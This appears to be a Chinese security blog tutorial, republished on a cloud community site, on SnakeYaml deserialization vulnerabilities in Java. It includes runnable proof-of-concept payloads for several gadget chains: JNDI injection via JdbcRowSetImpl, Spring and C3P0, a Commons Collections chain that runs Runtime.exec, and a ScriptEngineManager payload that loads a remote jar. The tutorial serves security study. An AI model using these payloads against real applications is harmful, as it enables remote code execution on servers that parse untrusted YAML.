首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Java安全之SnakeYaml反序列化

Java安全之SnakeYaml反序列化

作者头像
ph0ebus
发布于 2023-09-12 00:49:42
发布于 2023-09-12 00:49:42
71400
代码可运行
举报
运行总次数:0
代码可运行

简介

YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。在开发的这种语言时,YAML的意思其实是:”Yet Another Markup Language”(仍是一种标记语言),但为了强调这种语言以数据为中心,而不是以标记语言为重点,而用反向缩略语重命名。

YAML基本格式要求:

  1. YAML大小写敏感;
  2. 使用缩进代表层级关系;
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)

Java 常见用来处理 yaml 的库就是SnakeYaml,实现了对象与 yaml 格式的字符串之间的序列化和反序列化。SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

测试环境

java version “1.8.0_71”

pom.xml

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

示例

https://juejin.cn/post/7132724053088927758

随手写一个简单的JavaBean类

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public class Person {
    public String telNumber;
    protected int age;
    private String name;

    public Person() {
    }

    public Person(String name, int age, String telNumber) {
        this.name = name;
        this.age = age;
        this.telNumber = telNumber;
    }

    public String getName() {
        System.out.println("getName() private");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName() private");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge() protected");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge() protected ");
        this.age = age;
    }

    public String getTelNumber() {
        System.out.println("getTelNumber public ");
        return telNumber;
    }

    public void setTelNumber(String telNumber) {
        System.out.println("setTelNumber public");
        this.telNumber = telNumber;
    }
}

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():将yaml转换成java对象
  • Yaml.dump():将一个对象转化为yaml;
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
    public static void main(String[] args) {
        Person person = new Person("ph0ebus",99,"11451419198");

        Yaml yaml = new Yaml();
        // 序列化
        String dump = yaml.dump(person);
        System.out.println(dump);

        // 反序列化
        Object load = yaml.load(dump);
        System.out.println(load);
    }
}

//运行结果:
//getAge() protected
//getName() private
//!!Person {age: 99, name: ph0ebus, telNumber: '11451419198'}
//setAge() protected 
//setName() private
//Person@1975e01

可以发现当不存在某个属性,或者存在属性但不是由public修饰的时候,序列化会调用其getter方法,反序列化时会调用其setter方法。

序列化的结果前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

利用原理

到这里就会发现和fastjson似乎有异曲同工之妙了,这里会调用setter方法导致安全隐患,于是fastjson的蛮多链子也可以套用起来

利用链

JdbcRowSetImpl利用链

这里和fastjson的触发一致,都是触发setAutoCommit()方法,调用connect函数,然后触发InitialContext.lookup(dataSourceName),而dataSourceName可以通过setDataSourceName可控

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import org.yaml.snakeyaml.Yaml;

public class JdbcRowSetImplTest {
    public static void main(String[] args) {
        String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}
Spring PropertyPathFactoryBean利用链

这个链子需要springframework依赖

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import org.yaml.snakeyaml.Yaml;

public class PropertyPathFactoryBeanTest {
    public static void main(String[] args) {
        String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/aa\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/aa\"]}}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

这里利用setBeanFactory()方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public void setBeanFactory(BeanFactory beanFactory) {
    this.beanFactory = beanFactory;
    if (this.targetBeanWrapper != null && this.targetBeanName != null) {
        throw new IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");
    } else {
        if (this.targetBeanWrapper == null && this.targetBeanName == null) {
            if (this.propertyPath != null) {
                throw new IllegalArgumentException("Specify 'targetObject' or 'targetBeanName' in combination with 'propertyPath'");
            }

            int dotIndex = this.beanName.indexOf(46);
            if (dotIndex == -1) {
                throw new IllegalArgumentException("Neither 'targetObject' nor 'targetBeanName' specified, and PropertyPathFactoryBean bean name '" + this.beanName + "' does not follow 'beanName.property' syntax");
            }

            this.targetBeanName = this.beanName.substring(0, dotIndex);
            this.propertyPath = this.beanName.substring(dotIndex + 1);
        } else if (this.propertyPath == null) {
            throw new IllegalArgumentException("'propertyPath' is required");
        }

        if (this.targetBeanWrapper == null && this.beanFactory.isSingleton(this.targetBeanName)) {
            Object bean = this.beanFactory.getBean(this.targetBeanName);
            this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);
            this.resultType = this.targetBeanWrapper.getPropertyType(this.propertyPath);
        }
    }
}

这里可以调用到任意类的getBean()方法,然后利用org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()触发JNDI注入

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
    try {
        return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
    } catch (NameNotFoundException var4) {
        throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
    } catch (TypeMismatchNamingException var5) {
        throw new BeanNotOfRequiredTypeException(name, var5.getRequiredType(), var5.getActualType());
    } catch (NamingException var6) {
        throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", var6);
    }
}

这里需要调用到getBean()方法,首先要满足isSingleton(this.targetBeanName)返回值为false

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
    return this.shareableResources.contains(name);
}

this.shareableResources是一个HashSet对象,也就是利用setter方法设置this.shareableResources包含this.targetBeanName即可

C3P0利用链

在C3P0利用链中提到了基于fastjson进行JNDI注入和反序列化利用

同理也可以套用在snakeyaml链上

JNDI注入

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import org.yaml.snakeyaml.Yaml;

public class C3P0JndiTest {
    public static void main(String[] args) {
        String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: \"rmi://127.0.0.1:1099/aa\",  loginTimeout: \"0\"}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

反序列化

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import org.yaml.snakeyaml.Yaml;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;


public class C3P0UnserTest {
    public static void main(String[] args) throws Exception {
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),};
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        setFieldValue(transformerChain, "iTransformers", transformers);

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        byte[] bytes = barr.toByteArray();
        String hex = bytesToHexString(bytes, bytes.length);
        String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field1 = obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for (int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}
ScriptEngineManager利用链

该漏洞基于SPI机制,关于SPI机制可以参考深入理解 Java 中 SPI 机制

SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。

因此控制这个类的静态代码块就有机会执行任意代码了,这部分代码实现可以参考https://github.com/artsploit/yaml-payload/

那么SPI和SnakeYaml如何联系起来呢,这里需要知道一个类javax.script.ScriptEngineManager,它的底层就利用了SPI机制

https://www.runoob.com/manual/jdk11api/java.scripting/javax/script/ScriptEngineManager.html

ScriptEngineManager(ClassLoader loader) :此构造函数使用服务提供程序机制加载给定ClassLoader可见的ScriptEngineFactory的实现。 如果loader是null ,则加载与平台捆绑在一起的脚本引擎工厂

可以给定一个UrlClassLoader ,并使用SPI机制 (ServiceLoader 来提供) ,来加载远程的ScriptEngineFactory的实现类,那么就可以在远程服务器下,创建META-INF/services/javax.script.ScriptEngineFactory 文件,文件内容指定接口的实现类。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import org.yaml.snakeyaml.Yaml;

public class ScriptEngineManagerTest {
    public static void main(String[] args) {
        String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

具体执行细节可以参考https://www.cnblogs.com/nice0e3/p/14514882.html#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90


参考链接: Java安全之SnakeYaml反序列化分析 | nice_0e3 SnakeYAML反序列化及可利用Gadget | Y4tacker Java安全之yaml反序列化 | jiang

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
layoutSubviews解析
3、 设置view的Frame会触发layoutSubviews,当然前提是frame的值设置前后发生了变化。
全栈程序员站长
2022/09/17
2670
layoutSubviews 详解
但是是用initWithFrame 进行初始化时,当rect的值不为CGRectZero时,也会触发
全栈程序员站长
2022/09/17
5690
layoutSubviews总结
可是是用initWithFrame 进行初始化时,当rect的值不为CGRectZero时,也会触发
全栈程序员站长
2022/09/07
3230
谈谈 Autolayout
刚开始使用 Autolayout 遇到下面的警告人容易让人气馁,经常不知所措而放弃了使用 Autolayout。
s_在路上
2018/09/11
8040
谈谈 Autolayout
【iOS 开发】从 setNeedsLayout 说起
本文从 <code>setNeedsLayout</code> 这个方法说起,分享与其相关的 UIKit 视图交互、使用场景等内容。
KyXu
2019/04/11
8220
【iOS 开发】从 setNeedsLayout 说起
layoutSubviews的使用
1.直接调用layoutSubviews . 如:[self layoutSubviews];
全栈程序员站长
2022/09/13
5880
layoutSubviews和drawRect
子类可以重写此方法,因为需要更精确执行他们子视图的布局。只有当 autoresizing 和基于约束的行为的子视图不提供你想要的行为,应重写此方法。
全栈程序员站长
2022/09/13
2760
UIView - 生命周期
一般情况都是说UIViewController的生命周期,UIView的生命周期经常被忽视。
大壮
2019/02/22
2.9K0
layoutSubviews 调用
学习了一下UIView的setNeedsDisplay和setNeedsLayout方法。首先两个方法都是异步执行的。而setNeedsDisplay会调用自动调用drawRect方法,这样可以拿到UIGraphicsGetCurrentContext,就可以画画了。而setNeedsLayout会默认调用layoutSubViews,就可以处理子视图中的一些数据。 宗上所诉,setNeedsDisplay方便绘图,而layoutSubViews方便出来数据。 \
全栈程序员站长
2022/09/17
6370
layoutSubviews 调用
setNeedsLayout和layoutIfNeeded看我就懂!
前言: 开发得跟view打交道,我们也经常看到苹果官方代码有layout方法的相关调用,但是大家可知道什么时候调用,什么时候需要吗?针对网上大部分资料讲得不够清晰,我决定用Demo来讲解 一、layoutSubviews 不能直接调用这个方法。强制刷新布局,调用 setNeedsLayout,如果想马上刷新界面,调用layoutIfNeeded 二、setNeedsLayout跟layoutIfNeded setNeedsLayout调整视图的子视图的布局时,在应用程序的主线程调用此方法。此方法记录
Dwyane
2018/05/22
2.9K0
iOS layout相关方法
这个方法,默认没有做任何事情,需要子类进行重写 。 系统在很多时候会去调用这个方法:
码客说
2019/10/22
1.2K0
关于Autolayout和Masonry自动布局的几个坑
自动布局 02 Mar 2016 Comments 前言 最近遇到一个复杂视图:根控制器里面有上下两个子控制器,子控制器中各自实现类似PageView的视图,然后PageView的每一页是一个WebView,同时中间有个可拖拽的控件,实现上下两个控制器视图的大小调整。采用子控制器的原因是因为防止所有的逻辑代码都混在根控制器中,所以没有使用nicklockwood 的iCarousel 或SwipeView ,而是采用了之前一直在用的SCPageViewController 。 记录下自动布局中遇到的几个坑。 关于translatesAutoresizingMaskIntoConstraints
freesan44
2018/09/05
1.9K0
关于Autolayout和Masonry自动布局的几个坑
setNeedsDisplay看我就懂!
前言: setNeedsDisplay异步执行的。它会自动调用drawRect方法,这样可以拿到 UIGraphicsGetCurrentContext,就可以绘制了。而setNeedsLayout会默认调用layoutSubViews,处理子视图中的一些数据。 一、着手 我定义了一个UIView的子类,用于演示使用setNeedsDisplay,这个CircleView子类会在draw(_ rect: CGRect)方法内简单绘制一个圆,它有一个颜色属性,这是我们将要设置用来改变圆的颜色。 imp
Dwyane
2018/05/22
1.5K0
iOS 面试策略之系统框架-UIKit
本章节主要从视图、网络、设计模式几个方面考察开发者的开发水准,这是任何一个合格的 iOS 开发者都应该具备的基本素养。
会写bug的程序员
2021/05/13
1.7K0
iOS 面试策略之系统框架-UIKit
UIView layoutSubviews调用时机
1.init初始化的时候是不会触发的。但是调用initWiftFrame 并且参数fram不为0的时候会调用.换句话就是大小或者位置更改的时候调用。
编程那点事
2023/02/25
4870
关于Autolayout和Masonry自动布局的几个坑
最近遇到一个复杂视图:根控制器里面有上下两个子控制器,子控制器中各自实现类似PageView的视图,然后PageView的每一页是一个WebView,同时中间有个可拖拽的控件,实现上下两个控制器视图的大小调整。采用子控制器的原因是因为防止所有的逻辑代码都混在根控制器中,所以没有使用nicklockwood的iCarousel或SwipeView,而是采用了之前一直在用的SCPageViewController。
freesan44
2018/09/05
1.7K0
关于Autolayout和Masonry自动布局的几个坑
android
目前iOS开发中大多数页面都已经开始使用Interface Builder的方式进行UI开发了,但是在一些变化比较复杂的页面,还是需要通过代码来进行UI开发的。而且有很多比较老的项目,本身就还在采用纯代码的方式进行开发。
xiangzhihong
2022/11/30
9590
ios约束
一、苹果的VFL语法约束 在使用约束之前,要先将没有设置frame的view添加到父视图上。如何将view设置为使用AutoLayout约束,取消默认约束。 UIView *red = [[UIView alloc]init]; red.backgroundColor = [UIColor magentaColor]; [self.view addSubview:red]; red.translatesAutoresizingMaskIntoConstraints = NO; //
谦谦君子修罗刀
2018/04/28
1.2K0
ios约束
iOS界面布局的核心以及TangramKit介绍
TangramKit是iOS系统下用Swift编写的第三方界面布局框架。他集成了iOS的AutoLayout和SizeClass以及Android的五大容器布局体系以及HTML/CSS中的float和flex-box的布局功能和思想,目的是为iOS开发人员提供一套功能强大、多屏幕灵活适配、简单易用的UI布局解决方案。Tangram的中文即七巧板的意思,取名的寓意表明这个布局库可以非常灵巧和简单的解决各种复杂界面布局问题。他的同胞框架:MyLayout是一套用objective-C实现的界面布局框架。二者的主体思想相同,实现原理则是通过扩展UIView的属性,以及重载layoutSubviews方法来完成界面布局,只不过在一些语法和属性设置上略有一些差异。可以这么说TangramKit是MyLayout布局库的一个升级版本。大家可以通过访问下面的github站点去下载最新的版本:
欧阳大哥2013
2018/08/22
2.4K0
iOS界面布局的核心以及TangramKit介绍
iOS-自定义View的封装
xy_ss
2023/11/22
4100
iOS-自定义View的封装
相关推荐
layoutSubviews解析
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档